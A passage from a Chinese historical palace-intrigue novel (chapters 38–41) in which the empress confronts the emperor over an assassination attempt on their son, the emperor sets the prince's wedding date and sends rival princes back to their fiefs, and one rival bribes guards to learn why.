皇帝被中常侍从迎枕上扶起时,他忽然看到中常侍两鬓间花白到有些刺眼的头发,又想起晨间梳洗时自己脱落下来卡在木梳齿间的白发,忽然对自己开始苍老有了一种直观的认知和体会,他问中常侍道:“一晃眼,你跟在我身边也许多年了,还记得你是如何到我身来的?” 中常侍不知皇帝为何忽生此感慨,转念间也有了猜想,只是面上不觉,边伺候皇帝服用汤药边回道:“自不会忘,若无陛下,奴婢只怕早已丧生在贼军的铁蹄之下了。” 中常侍姓齐,原名在早年去势入前朝皇宫时就抛弃了,后来前朝哀帝崩,各路人马攻入皇城,有不讲究的就直接在皇宫之中大肆烧杀抢掠。中常侍当时只是个平平无奇的小内侍,差点就被乱军的马蹄踩死,是皇帝出现及时救下他性命,后来他便跟在皇帝身边伺候,一直到如今。 “当真是岁月催人老,转眼三十载都过去了。”皇帝口中涩然,苦味弥漫在整个口腔里麻得都快没有味觉了。 “奴婢有幸侍奉陛下三十载却还不知足,还想着能够长长久久地伺候下去。”中常侍一面递了水给皇帝净口,一面如此回道。 皇帝被他的话逗乐了,笑道:“朕身边怎么也少不了你。” 主仆俩一番对话,让皇帝心情变好了些。他扫一眼案头上的奏本,其中有一本是灵台丞前不久递上来的吉日册子,想了想,将之拿在手上,起身往外走,“今日天光不错,正好去皇后那瞧瞧。” 中常侍急忙跟在后头,一面喊着“摆驾椒房殿”。 皇帝未到,椒房殿这边已收到消息,便准备着要接驾。好在皇帝一月之中来椒房殿的次数并不算少,宫人接驾已有经验,一切都在有序进行。 不多时皇帝便来了。 “拜见陛下。”椒房殿外,皇帝扶住了皇后欲下拜的身子,温声道:“不必多礼,我来看看你,咱们进去说话。” 帝后两人相携进殿,掌宫令为二人奉上了新制的蜜水,里面加了柑橘片等物,使得滋味甜而不腻,别有一股清新在里头。皇帝喝之后眼睛微亮,赞道:“这味道不错,怎么突然弄出这般特别的喝法?” “这是五郎向太医问来的法子。他念着我时咳不止,前日来看我食欲不振,汤药太苦,他便想着从药膳着手,特地去太医学来的。” 皇后说起幼子时,眼里俱是一片软和的笑意,身上一国之母的端庄雍容尽数转化为了一个母亲的和软慈爱。皇帝很喜欢皇后的这种转变,这给他一种亲切温暖的感觉,就仿佛回到了二十多年前,他们刚成亲一年之后也就是他们的第一个孩子也就是太子出生的时候。不管白日里在外面如何拼杀,夜里也总能回到那个始终有人在等着他的温馨小家里。 “五郎有心,他向来是个孝顺的好孩子。”皇帝想到百里漾此前数年即便远在江都也不忘时刻奉家书问候父母双亲、兄姊。这次回来只要有时间就会进宫在他与皇后身前侍奉。五郎确实质诚孝纯,也确实比其他的那些儿子让他省心多了。 思及此,皇帝心中沉沉一叹,面上无异,而后便听皇后问道:“眼看就要六月了,陛下可定下了五郎的婚期?” 诸侯王大婚,各种事项皆要准备。好在此前有太子、定安王成婚时的成例在,有司安排起来也是忙中不乱。但唯有一点,婚期未定,没有时限,有司筹备的进度也不好把握。为此,有司已派人来皇后这里委婉地催过三四回了。 但此事没有那般简单,涉及到皇帝自己对诸侯王的安排,他有自己的考量,故而一直没有下决定。有司也知道此事真正应该催的是皇帝,但没人敢去,只能到皇后这里委婉表达一下他们下边人做事的为难。正巧今日皇帝来椒房殿,皇后也顺便问了。 “可巧,今我来也正是要说这事。“皇帝拿出吉日册子,点指了上面被朱笔圈出的一个日子,笑道,“思来想去还是这日子最好。毕竟是我们儿子一辈子的大事,自然要图个最好的兆头。” 他话一转,手覆上皇后的手背,语带悯意,“五郎他年幼便离京就国,我知这些年你也想他想得厉害,正好借着成亲让他这回在京多待一段时日,好好陪陪你。” “多谢陛下。”皇帝如此体贴,皇后心愿达成,不由伏到皇帝怀中眼眶微红,险些泪目。 “你我何必言谢,五郎也是我的儿子,我也盼着他能在京多留些时日。”皇帝抱住妻子,一手在她的后背轻抚,过了一会儿,他问道:“前日五郎来可还说些什么?” “前日?”皇后自皇帝怀中起身,略思索片刻,怡然答道,“他前几日不是往围场去了一趟么,得了两张鹿子,送与我制衣。” 第38章 帝与后 “没说点别的?” 皇后反问道:“陛下想听什么?” 皇帝神情肃然, 定定看了皇后好一会儿,他不说话时一股不怒自威的气势便散发出来。眼看帝后之间气氛不对劲,在旁伺候之人皆惊惧无声了。 为君日久, 皇帝身上的威势便越重,他面无表情时便更显得天成难测,让人不由得心生恐惧,但皇后却不怕他,眼神示意其余人退下。 皇帝见状也没有阻止, 因为接下来的话只能帝后二人知晓。皇后从头到尾都很淡定, 还给皇帝沏了新茶, 递给皇帝,“陛下喝口茶。” 皇帝微微蹙眉, 却也不曾拂她的意,接过来饮下, 搁在案上,开门见山道:“围场之事, 五郎没同你说?” “陛下想知道什么?”眼前这一遭皇后是预想过的, 多年夫妻, 纵使丈夫已经为帝多年,他的心思如何,皇后是能够猜到大半的,也知道皇帝此次不是来问罪的,眼下也不是真的生气。 皇帝见她还不愿说,顿时有些着恼,“五郎遇刺之事,你怎不与我说?” 他是笃定了皇后会知晓此事,以五郎之孝顺, 不会瞒着阿娘。即使五郎不说,难道长子、长女就不会说么了? 遭皇帝质问,皇后面上显出怒意,“与陛下说又何,难道陛下能为五郎做主?” “诸侯王遇刺岂是小事,朕自当会查明此事。”见皇后对着他语气直冲,皇帝也恼了。但话没说完就让护子心切的皇后打断,“仅凭一支箭矢,如何查?纵然能查,陛下真的愿意真相大白么?” 被皇后如此顶撞质问,皇帝是真被激出火来了,脑袋开始一阵阵发紧,面色铁青,刚要怒斥皇后,却见皇后将一长状物掷于桌面上,好一声重物跌落碰撞的重音,“砰隆”。 皇帝定晴一看,一只造型并不算很工整,尾羽稀疏,箭头粗糙却锋利无比的箭矢占据了他的视野。那一瞬间箭头一面反射出的寒光还刺中了他的眼睛。他立时就意识到这便是在围场险些射中他之五子那支箭矢。 “若非百里氏的祖先庇佑,五郎岂能好好地回到我身边。”素来沉稳的的皇后少见的失了自己国母的仪态,凤鸟袍服之下的躯体在微微颤抖,就连眼眶都浸染出了一片赤色的红。在此刻,她只是一位差点痛失孩子的母亲。 皇帝不知是被皇后眼角的红还是被冰冷箭矢上的寒光刺痛了眼睛,他偏过头去。类似的话羽林中郎将也同他说过,而他年轻时亦是挽过强弓射杀过敌军将领的,自然也知道,按照羽林中郎将对当时的描述,那突袭的一箭的凶险。 那一箭,的的确确是冲着取五郎的性命来的,一击不中,箭头都全然没入树干之中。幕后之人,用心歹毒,皇帝也不能否认这一点,而令他的心既惊且寒的是,对他这个儿子下手的极有可能是他的其他几个儿子。 皇帝禁不住去猜测,是二子、四子,还是六子?他不愿意去想他的儿子们已经开始对兄弟下手,可现实如此,不得不去想。 百里氏得天下不过二十几载,传到皇帝百里纵身上不过才第二代。而皇帝因在百里氏夺取天下的过程中取得的莫大功绩与威信,使得他在高皇帝在位时毫无阻碍地成为了衍朝太子,而后顺利继承大统,成为天下之主。 皇帝是没有经历过兄弟厮杀、你死我活的储位争夺之战的,但这并不代表他不清楚里面斗争的残酷。兄弟阋墙、骨肉相残,他不希望这些发生在自己的儿子之间。但现实告诉他,这似乎无法避免,甚至已经在上演了。 权力动人心。他的那些儿子们,一个个的都逐渐长大,又眼看着太子长期病弱、病体难支,都开始起了一些自己的想头了。有想法就会有行动,这一次五子遇刺未尝就不是如此。 皇帝并不糊涂,他实则想的透彻。当得知百里漾遇刺之初他确实是又惊又怒,可后来想到行刺的幕后凶手有很大可能是他的其他儿子,他又如何想,如何处理此事? 对于这个问题,皇后心中早已有了答案。不管是从父亲还是皇帝的身份出发,皇帝都不会对定安王他们有什么实质性的处罚。 因为百里漾虽遇刺,但总归毫发无伤,仅凭一根来历不明的箭矢就要处罚其他身为诸侯王的儿子们,一来皇帝不愿,二来朝臣那里就说不过去。皇帝这几日的沉默不过是在等,等百里漾来向他诉请追查此事,或者说是在等百里漾不来向他禀明。 相比于女儿百里澄,与皇帝数十年夫妻的皇后更能勘破他内心更深处的想法——皇帝希望百里漾不来。而百里漾不来向他诉苦追查此事就意味着自己放弃了追究幕后的兄弟们。这样的百里漾在皇帝的心里无疑是一个识大体且宽容大度、友爱兄弟的好儿子。 皇帝会欣慰于百里漾的懂事孝顺,但他同时也会心疼他的这份懂事,因为这份懂事是建立在百里漾委屈自己的前提之下的。惯爱哭闹的孩子固然会引起注目,可懂事受委屈的孩子也令人心疼。皇帝会心疼百里漾这个儿子,必然会在别的地方给予他补偿。 这也是皇后敢于与皇帝“争执”的原因,皇帝这回理亏,因为他要为了自己的其他儿子而委屈皇后的儿子,自然就气短了。 “这件事情,是咱们的儿子受委屈了。”良久,皇帝叹息一声,上前揽住皇后的肩,将她揽入怀中。 皇后没有挣扎,顺从地靠入皇帝的怀里。似乎是拭泪,皇后过一会儿就离开了,又恢复成了端庄威仪的一国之后。她软了语气道:“妾知陛下所虑皆为大局,实在怪不得陛下。陛下虽是五郎之父,却更是天下之人的君父。孰轻孰重,我们都明白的。方才是妾失态了。” 皇后的态度不再强硬,皇帝心下松了一口气,他向皇后说道:“后边的事情我会处理,你只管安心筹备五郎的婚事。我知道你一直盼着五郎成婚,我也在盼着。为人父母的,此生所愿所盼不就是儿女成家立业么?” 不说皇后,皇帝亦是在盼着百里漾成婚生子的。他一直叹惋太子的子息不丰,可不能强求于太子,当下也只能寄希望于五子了。 这边气氛融融,另一头皇帝往椒房殿去的消息也传到了周贵妃的耳中。周贵妃保养得宜的脸上免不了嫉恨,这几日她派人去请皇帝,结果皇帝都推脱不来,转过头却主动去了椒房殿。 周贵妃气自然是气的,但更多的却是为儿子定安王嘱托自己的事情而焦心。三日前定安王入宫寻她,说自己已与长夏王、山阳王一同请求陛下准他们观完兄弟婚仪后再返回封地,可陛下迟迟没有答复,没说准也没说不准。 定安王不好一直在皇帝面前请求此事,于是便想请母妃襄助,劝说皇帝。周贵妃自是应下,可那也要见到皇帝才行,去宣室殿的宫人往往也只得了一个“陛下勤政无暇,请贵妃自便”的答复回来。 “明日再去请罢。”周贵妃并不气馁,儿子请托之事要紧,她总得想法子替儿子办了。请一次、两次、三次皇帝不来,她再去请,如此坚持下去,皇帝总不会一直不来的。 然而就在周贵妃筹谋着如何说动皇帝之时,却突然传来“噩耗”。皇帝先是定了江都王的婚期为八月初六,可还没得各方有所反应,皇帝又定下了其余诸侯王返回封地的限期即六月十五之前,算起来也就剩十几日了。 消息一出,自然就有人欢喜有人愁。定安王在王宅乍闻此事惊得霍然起身,急问道:“怎会如此?!” 无人能回答他,这消息来得突如其然,其他人也犹在震惊之中尚未缓过神来。还是王国相率先回过神来,镇定道:“大王宜速速入宫。” 此事他们事先没有收到一点风声,实在突然,恐怕是发生了什么他们不知道的变故促使皇帝做出了这般决定。王国相让定安王入宫并非是直接去找皇帝,而是寻周贵妃打探缘由。 “国相说的是。”定安王也镇定下来,还道,“前两日骐儿说思念祖母,今日便带他入宫拜望母妃。” 看到定安王已有成算,底下人颇为心安,认为事情总该还有转圜的余地。王国相更沉稳老道,面上虽不显,心下却微沉,总有一股不好的预感挥之不去。 如王国相所预感的那样,定安王入宫寻周贵妃打探得到的结果并不好,周贵妃亦是突然得知的消息,正惊怒不已时,儿子定安王就上门来问了。 周贵妃拧着帕子,面上满是不解,语气也不禁透出几分烦躁,“我亦不知为何陛下突然如此决断,那日你来托我之后,几次三番去请陛下,皆是被拒。” “那宫中最近可有什么异常发生?”定安王又连忙问道。他所说的“异常”显然并不是明显可见的,而是发生在细微之处不易被人发觉且有可能影响皇帝做出决断的。 被儿子这么一问,周贵妃便陷入了沉思,在脑海中细细地回忆搜寻曾被自己忽略的细节。见状,定安王也按捺住焦急,耐心等待。 一刻钟之后,周贵妃从回忆中抽离,在定安王期待的目光中摇摇头,眼看着他眼里的光灭掉。她按了按眉心,“这些时日陛下几乎不往后宫来,我也无从试探他的态度。” 第39章 迷雾 “不对, 必然是发生了什么。”定安王坚信不疑。他此前小心试探分明觉察到皇帝对于他们兄弟几个的请求并非全然的无动于衷,于是他便觉得延迟回返之事大有可为,就想再找人使使劲去说动皇帝。 就如一场战事, 他整顿兵马、满怀信心与希望备战,可兵还没带上战场就骤然得知自己败了,原因不明,这让他如何甘心? 定安王当然不会让这事就这么算了。在周贵妃这里得不到线索,他也不多待, 同周贵妃告辞之后便匆匆离开了皇宫。此刻, 他一点头绪都无, 是不好贸然去找皇帝请求改变主意的。 接下来的这两日里,定安王多方打听皇帝为何突然做出提前赶他们回封地的决定。前朝他有亲近他的大臣帮忙打探, 后宫亦有周贵妃在襄助于他。可惜即便有多方力量的加持,他依旧没有得到想要的结果。 不说定安王如何恼恨不甘要想办法补救, 他这一系列的动作也被许多人看在了眼里,也就有了各自的看法。 “不对劲啊, 太不对劲了。”崔栋原本歪斜在矮榻上啃瓜子, 越想越觉得不对劲, 突然“蹭”地一下就蹿起来,旋即又陷入了沉思之中,僵直着身体不动了。 “……”百里漾扔抓了一个小橘子砸到崔栋身上,喊他,“诶,回神了,想什么呢?” 崔栋精准接住了小橘子就开始剥皮,三两下就扒好一整个往嘴里扔,“我在想定安王他们几个的事情。” “想出什么了?” “这几日他们上蹿下跳的, 你不是也瞧见了么?”崔栋又扒了一个橘子,边扒边说道。 话不用说的太明白,百里漾就已然领会崔栋要表达的意思了。 皇帝下的这两道圣谕相当于是给受了委屈的百里漾的补偿。这一点,百里漾他们自己知道,围场行刺的幕后主使也该知道。但还远不止这一点,皇帝此举还包含了对定安王他们几个的警告。既受了皇帝的警告,那么定安王几个就应当老实安分些,而不是这般继续蹦哒。 可现实的状况恰恰相反。定安王这两日想尽了办法请皇帝收回成命,甚至还跑到皇帝面前亲自请求,结果是被皇帝训斥了一顿。长夏王与山阳王虽没有定安王“努力”,但他们亦是有所动作的,也都想使皇帝改变主意,让自己能在湛京多留一段时间。但结果也很明显,他们越是要争取,皇帝就越不耐烦,已经让鸿胪寺开始督促藩王回国之事了。 “这样瞧着,似乎围场行刺的事情倒与定安王无关了?”崔栋摸着下巴说道,在思索也在怀疑。 自皇帝下诏后的这几日以来,他们冷眼瞧着,三王之中最积极致力于让皇帝改变主意的无疑是定安王。其余二王在遭受一次挫折之后就逐渐没了动静,唯有定安王还不肯放弃,听说昨日连带着周贵妃去劝说请求都被皇帝喝斥了一顿。 这样怎么看,定安王都不像是围场行刺的幕后主使之人。那么,幕后凶手就很有可能是长夏王与山阳王中的一个了?可这些终归只是他们的猜测,证据太过单一,不足以让他们得出可靠的结论,以至于他们看谁都有嫌疑。 “此时纠结无益,日子长了,他们总会藏不住的。”百里漾也想不明白,只能说他对这些隔了数年不见的兄弟们并不了解,也许也是因为他的这些兄弟们太会隐藏自己。 而此时的宣室殿之中,定安王双膝跪地,额头也磕在坚硬的地砖之上,为周贵妃向皇帝求情被喝斥之事辩解,说周贵妃是出于“思子心切、不舍骨肉分别”之心才一时激动言辞冲撞陛下,请求皇帝不要怪罪周贵妃,一切都是他的错。 按照往时,定安王的这番说法是没有问题的,一个是慈母,一个是孝子,母子连心,彼此顾念忧心,皇帝纵然不会立时改变主意也会心软。可今日却不是这样。定安王言辞恳切说完之后,始终未闻皇帝叫起的声音,后背如这夏日的地砖般变凉,心也一点点沉下去。 自从皇帝下诏令诸侯王们限期离京,他心中是很不情愿的,同时也心中大急,一方面他急于探明皇帝突下此决定的原因,一方面要设法使皇帝改变主意。但他为此做出的诸多努力并没有得到良好的反馈,反而越发激起了皇帝的不满,甚至昨日连周贵妃都被皇帝训斥了。 定安王是在昨夜里骤然得知这个消息的,惊得他几乎是彻夜难眠。他意识到,一定是有他不知道且尤为重大的事情发生,这件事情很重要,重要到甚至影响了皇帝对他的态度。从回到湛京至下诏之前,皇帝从来都未曾给他冷脸,可现在却处处透出对他的厌烦。 不行,不能再这么下去了。 定安王咬牙切齿,皇帝驱他们离京之心已定,他再做努力意图改变只会引起皇帝的反感,只能放弃,老老实实地接受离京的安排。可致使皇帝改变态度的缘由弄不清楚,他心中便不能安定,他直觉那件他不知道的事情很有可能会成为他的一个隐患,不能放任不管。 故今日天一亮,定安王便入宫来拜见皇帝。一来是为周贵妃求情,使皇帝消气,二来则是意图当面打探皇帝态度改变的缘由。 皇帝在御案之后批阅各地呈上来的奏事,任由定安王跪伏在阶下诉说,至始至终未发一语。定安王叩首在地,也不得见皇帝的神色,心中惶恐不安。 这一段等待的时候对定安王来说属实漫长,但其实并不久。在他说完陈情之语后,皇帝提着笔不紧不慢地奏事上批了一行字,方抬首看向他,允他起身。 定安王何曾受过皇帝这样的冷待,因摸不清皇帝的态度而心中打鼓、忐忑不安。起身之时他想去看一眼皇帝的神色,却正好与皇帝那双辨不清喜怒的眼睛对上,心下更慌,急忙收回了视线,不敢再窥视天颜。 他不敢看皇帝,皇帝却在看他。 皇帝目光沉沉看着阶下的三子,他在想,五郎围场遇刺之事与三子究竟有没有关系。五郎是椒房所出,如今更是贵为江都王,何人胆大包天敢行刺于他,还能在事后逃之夭夭?皇帝心里很清楚,只有他另外的儿子会干此事,嫌疑最大的就是眼前的三子。万幸五郎并无受伤,所以围场遇刺之事皇帝选择了隐没且不追究,但这并不代表他心中不膈应此事。 这几日皇帝冷眼瞧着定安王几个上蹿下跳,未尝不是在观察,四子与六子受挫之后便放弃,唯有这三子还不甘愿从命。看似这几个儿子没有嫌疑却又都有嫌疑,皇帝发觉他的这些儿子确实是都长大了,一时之间他都有些看不穿他们了。 眼见着皇帝的态度依旧冷淡,定安王很是灰心,再留在这里也是无益,他拱手便向皇帝告退。皇帝并不挽留他,点头让他走了。 回到定安王宅后,定安王面色阴沉一片,叫人去请王国相等人过来书房议事,他定要弄清楚究竟发生了什么他不知道的事情。但这几乎没有头绪的事情光他一人是很难想明白的,要集众人之力一块去想,必有细枝末节是被忽略了的。 定安王手底下还是有些能人与人脉的,有一得用的幕僚提了一嘴“围场行猎”,他便觉得其中透着一股蹊跷,“栎阳长公主与江都王来去匆匆,总觉透出几分蹊跷。” 他这么一说让定安王忆起当初他在酒楼之上瞧见羽林卫回程之事,那时便觉怪异,只是没有多想。如今细细想来,问题极有可能是出在这了,围场之中一定发生了什么,而椒房那边加以利用,使得皇帝决意提早赶他们回封地。 有了头绪便去做。定安王动作极快,他私底下令人去接触那几日被遣去围场的羽林卫,用金银之物向他们买消息。其实向羽林中郎将打探消息是最直接便捷的,他必然知道围场之中发生了什么。但羽林中郎将是皇帝的人,定安王不愿意冒这个险。 过程并不顺畅。那些羽林卫被下了封口令,大部分人不愿意冒险,负责此事之人碰了不少次壁。好在定王安出手阔绰,重金之下,有人顶不住诱惑,将消息秘密告知。 “遭遇猛兽攻击?” 定安王对此将信将疑。这算什么?朝中已有好几年没有举办秋狝冬狩了,围场之中有野兽猛禽不足为奇。百里漾自己倒霉跑到围场里遇到猛兽袭击,关他什么事,这还能算到他的头上了?他下意识便觉得那羽林卫恐怕也不知真相,还要让人再去寻别的羽林卫打探。 坐在一旁的王国相至始至终都眉头紧锁,他的脑海中忽然有一念闪过,被他紧紧抓住,越想越觉得这便是真相,他对定安王道:“大王,猛兽攻击是假,遇刺是真。” “遇刺!”定安王被惊得心头一跳,连带着人都要跳起来了。 王国相道:“按照消息,栎阳长公主与江都王他们只在抵达的次日入过一回围场,四个时辰后便出来,随后便是羽林卫搜山。若搜山是为了驱逐野兽,何故他们第二日便匆匆赶回。那几日,京中并无大事发生。若非刺杀,如何解释陛下近日以来对您态度的转变?” “若是刺杀,怎么半点风声都无?”定安王还有疑虑。诸侯王遇刺可不是小事,若是他必定要拿此事大做文章,为自己争取最大的好处。 第40章 醒悟 “江都王他们怕是没有捉到行刺之人。”王国相分析道, “刺杀突然,行刺者必是有备而来。围场四处都是山林,人影没入其中便难寻踪迹。没有行刺者, 江都王他们便追查不了幕后之人,也就无法指认凶手。换了别人,只能吃下这个闷亏。” “可百里漾不是别人,他是椒房所出,背后站着东宫, 站着椒房, 阿爹向来偏宠他们。”如此一通分析, 事情都能连起来了,定安王信了有刺杀之事。他面色忿忿, 一切都想通了,“所以陛下是怀疑我, 怀疑是我指使人去行刺百里漾。” 不,不只是怀疑他, 还有老四和老六。所以陛下才会一面勒令他们早日离京, 一面延长百里漾的婚期, 这算是对百里漾的一种补偿。可是这关他什么事,又不是他叫人去行刺的百里漾,反倒让他遭受了陛下的猜疑。 理清真相后的定安王心头憋了一团火无处发泄,他觉得自己是遭受了无妄之灾,到底是哪个蠢货干的,干又不干的彻底,连累到他的身上。是老四还是老六?一个看着轻狂放诞,一个看着稚嫩怯弱,究竟会是谁在面上的这张皮子底下藏了一颗如此大的心胆。 定安王头一次对长夏王和山阳王生起了忌惮防备之心。幕后主使胆子如此之大, 竟敢派人去行刺百里漾,若是成功了说不得还要栽赃到他的头上来。太子眼瞧着活不长,少了他与百里漾,这两人的机会不就来了么?至于底下的老七和老八,那就是两个毛都没长齐的,根本不足为虑。 “此事可还有补救之法?”定安王问道。 行刺虽没成,可眼下这个局面也不见得有多有好。定安王终究不甘心,想问问有没有什么弥补之法,至少要想办法挽回皇帝对他的观感。现在皇帝怀疑他,而这事是没法辩解与自证的,只会越描越黑。算起来,这一波反倒是让椒房那边的人捡到好处了。 王国相道:“大王最好什么都不要做。” 事关椒房所出之子,皇帝显然余怒未消,此时又正是猜疑他们大王的时候,再有动作在皇帝眼里也只落下不安分、不知好歹的印象。 “也只能如此。”定安王不甘心却毫无办法,便听从了王国相的劝谏。 自此之后,定安王几个总算是消停了,对于皇帝要求他们于六月十五之前返回封地的诏令也接受了。如今已经迈入了六月,说起来也没有多少日了,也是时候该准备准备,收拾一下行装,省得回程之时再添麻烦。 在离京之前,定安王虽然没有再想着使法子让自己留在湛京,但仅剩不到半月的期限让他颇有些紧迫感,他得趁这些时候多多联络大臣,来日太子真薨了,他才更有机会不是。于是,这十几日来,定安王可是忙碌,他频频出现在湛京中的各大宴会之上,与人推杯换盏、相谈甚欢,还顺便纳了几房侧室,可谓是收获多多。 定安王这样蹦跶也没人去管他,这才哪到哪,参加几次宴会、喝几杯酒就能说动大臣投靠或是看好他了?哪有这么容易。从龙之功不是那么好挣的,若非有天大的好处以及你确实有成事的可能,否则人家日子过得好好凭什么冒着满门抄斩的风险附从于你。 如今皇帝虽渐多病但依旧强权在手,他对东宫的看重有眼睛之人都看得见。而东宫除了病弱无子这一点其余的都很稳,更别说背后还有椒房贵戚崔大将军镇着。更不用说再过不久,江都王就要赢取定国公的嫡长女了,这门婚事还是皇帝亲自定下的。皇帝若非不是看重椒房一脉,怎么会如此作为。 不管怎么样,椒房这边的赢面依旧很大。真正精明的人才不会在这时对着定安王许诺什么,面子上敬着,真有想法那也得等到时机成熟才能行动。现在还不是时候,远远不是。 东宫与椒房都不去管定安王他们,只要不惹到他们头上,他们想干什么就由他们去。不管怎么说,太子为兄长,对底下的弟弟妹妹们要持着宽容的胸怀。左不过定安王几个最多十几日就走了,让他们再蹦跶几日又有何妨。 况且定安王他们如今还不值得椒房再分出心神去关注,椒房如今忙着筹备两桩婚事,一桩崔栋的,一桩百里漾的。 百里漾的婚期在八月初六,他是诸侯王,婚礼的一切事宜都有朝廷相关的衙署在准备,只需要大体盯着进度就是,并不需要多费什么心神。可崔栋与卢氏那一桩就不一样了,一家娶媳妇,一家要嫁女儿,所有的婚礼筹备都要由两家商量着来。 好在成亲这事都是有规矩和步骤在的,忙是忙了点,一切也都在朝着最终的那个目的有序进行。刚迈入六月,灵台丞那边就给崔预夫妇送来了他帮忙算的吉日,与卢家那边商议之后,正式将亲迎的日子定在了六月二十六。 这日子也不是随便算的,据说不仅要看天象,还得结合男女双方的生辰八字一起算,尤其讲究,甚至到了复杂的程度。这正合崔预夫妇的心意,天晓得他们盼儿子成亲生孙子给他们抱盼了多久,讲究好啊,要的就是吉利,这样日后崔栋才能够婚姻美满、多子多福。但这在李氏眼中还不够,她需要再为儿子的这桩婚姻增添福泽,她选择向神明祈求福祉。 “南城之外有一座云山寺,寺中有一颗千年的姻缘树,据说无比灵验,你们过几日去拜拜,求一枚姻缘符回来。” 这日,百里漾来到大将军府拜见崔预夫妇。崔预是大将军,几乎是每日忙得脚不沾地,今日百里漾去时他不在家,李氏在,于是他与崔栋就陪着李氏喝茶、说说话。说着说着,李氏突然冒出这么一句话来。 话题跳转得如此突然,百里漾一时有些愣住,与崔栋对视了一眼,没说话。 “我细细打听过了,那姻缘树尤为灵验,婚前去祈福许愿之人婚后生活多是幸福美满、儿女双全。”李氏还在说,眉眼之间极是向往,“知道执金吾柏家的长子么,他成亲都多少年了,一直没个孩子。去年他家长媳去了一趟云山寺,回来之后便诊出了滑脉,前不久才剩下一对龙凤胎,出了月子就去还愿了。可见那处确实灵验。” 李氏说得眼睛都要放光了,百里漾与崔栋在她的脸上只看到了明晃晃的“羡慕”二字,知道她是眼馋别人家的龙凤双胞胎了。且这种事情怎么说也算是别人家的秘密,李氏能知道怕也是与那家女眷关系好,人家告诉她的。她这会儿让百里漾也去,背后怕也有皇后的意思,恐怕这天底下所有膝下有儿女的母亲都拒绝不了“幸福美满、多子多福”。 这是长辈的一番好意,百里漾与崔栋当然不会拒绝,当下就应承了,说后日就会去。 百里漾在大将军府坐了一个时辰后便起身告辞了,崔栋送他到府门口,问他道:“后日何时出发?”他问的是去云山寺拜姻缘树的事情。 “巳时。”百里漾想了想自己这两日有什么事情要做,回道,“届时我们再汇合。” “好。”崔栋答应得痛快,之前在李氏面前他也并无不情愿。 百里漾眯了眯眼,瞧着崔栋。他可是记得崔栋之前是有多“恐婚”的,如今看来已然一副接受良好的模样。想来是他与卢家姑娘婚前接触,感情培养的还不错。他可是听说了,前两日崔栋还邀卢家姑娘去跑马了。当然,肯定不是直接约见的,与会的也不只他们二人。虽然他们是未婚夫妻,可一些该注意的还要注意,必是以别的或是别人的名义邀了一群人同往。 “你这么看着我做什么?”崔栋被百里漾略带揶揄的目光看得有些不自在,扭过脸不去看他,用手摸了摸鼻梁掩饰自己的不自在。他知道百里漾想说什么,但哪里给他说的机会,“皇后殿下还在宫中等着你用晚膳呢,快走快走,晚了就进不去宫门了。” 大将军府与皇宫相距不算远,这个时辰就是骑马来回跑两趟都绰绰有余。百里漾懒得戳破他,翻身骑上马,对着崔栋摆摆手就策马离开了。 夕阳渐落,金黄色的阳光配合着云朵在天边渲染出了一大片橘黄色的彩霞。大片的霞光西侧倾洒而下落满了百里漾全身,迎面吹来的风掀起衣袂飘飞,让他浑身上下都洋溢起一股暖洋洋的舒适感。 湛京城中的街道大多宽阔,主道更是足足宽有二十丈以上,常有人骑马来去如风。百里漾心情大好,策马小跑起来,风便更快地从两侧吹过,隐约成呼啸之势。落在旁人眼中,便是鲜衣怒马少年郎,肆意风流。这样的景象在湛京城之中时有发生,不足为奇,但每次都能够吸引人的目光去追逐。 行至宫门前下马,百里漾让守门的将领验了身份符牌后顺顺当当地就往椒房殿过去。最近这段时日,皇后几乎是隔一日就叫百里漾进宫陪她用晚膳,说一说婚礼筹备的事情。她也不是只叫百里漾一个儿子的,有时会将太子一家、百里澄也叫上。每日椒房殿这边也都去请皇帝来,皇帝偶尔会来,却不是日日都来的。 今日也是如此,餐桌上只有皇后、百里澄与百里漾三人。 40-50 第41章 刺杀后续 晚膳后, 皇后在一左一右两个儿女的陪伴下在椒房殿外的空旷处散步消食。百里漾与百里澄分别在左右各自搀扶皇后的手,陪着她说话。 “阿娘,夜里风大, 回去吧。”走了几圈,百里澄看着台阶下不远处第三次走过的巡逻将士,对着皇后说道。 六月皇宫夜里的风总是带着几丝凉意,他们兄妹俩年轻体壮并不在意这点风,可皇后不行, 一旦受凉便容易风邪入体, 即使后面能治愈可生病也总归不好受。 百里漾亦在旁边劝道。 “好, 我们走完这一圈就回去。”皇后扭头看着左右皆比她高的儿女,眼睛里满是悦色, 往日端庄肃然的脸色也完全被柔软所取代。 她的儿女们都长得尤为出色,百里澄是女子, 可她身形尤为高挑,体态欣长, 放在女子之中完全是鹤立鸡群的存在, 甚至比之大部分男子还要出色。而百里漾则更高壮挺拔, 站在皇后身边都要比她高一个头有余,现在皇后想要摸他的头还得百里漾半身蹲着才行。 足足五年的时光,远在皇后看不见的江都,她的幼子长大成人了。每次看到百里漾,皇后都有类似的感慨,尤其是负责操办大婚的有司官员三不五时就要来椒房殿向她汇报进度,愈是临近过期,便愈是如此。 想到这,皇后便要说说百里漾了, “虽说大婚事宜都有专人操持,但你也该上点心才是。” 她发现她这儿子在这方面就是撵一下动一下的性子,木愣的都有些愁人了。明明是从小与阿栋一块玩耍的,怎么就不知道学学,时不时送些讨喜的玩意过去,好让女方及家里人知道你的用心,让人觉得姑娘嫁过来不会受委屈。 想到此处,皇后心里一气,用力拍了一下百里漾扶着她的手。 不疼,但百里漾觉得自己挺无辜的,他觉得自己挺用心的了。不过,阿娘说什么就是什么,这种时候反驳只会挨训。他以目示意边上的阿姐帮他说说话,分散一下阿娘的注意力。 谁知道百里澄盯着挤眉弄眼的弟弟看了一会儿,扭过脸去不理他。没得办法,百里漾只好悻悻地跟在皇后身边,听她训话。 “今日你可是去了你舅舅舅母府上?” “是,本来是要拜见舅舅的,但公务繁忙不在府上,便同舅母说了些话。” “云山寺之事,你舅母可同你说了?”这时他们已回到椒房殿之中,皇后由百里澄扶着落座后看向百里漾问道。 百里漾从舅母李氏那里听说这事之后就预想到椒房殿来皇后八成也会提及,刚要回答,却听百里澄忽然道:“太医新换了一记方子,对火候颇有要求,我去瞧瞧,省得底下人不仔细出错,误了时辰。” 他眨眨眼,觉得长姐此举颇为突兀,但长姐的顾虑也并非没有道理。皇后服用的汤药方子并不是一成不变的,太医时常要依据皇后身体的实时情况斟酌着改方子,用药不同,如何服药也相应着要改。 皇后却道:“不去管她,你说你的。”她还不知道长女是什么心思,不就是担心自己说完五郎会顺便再揪着她说一顿么?她都懒得再去说她了。长女向来有主意,由着她去了。 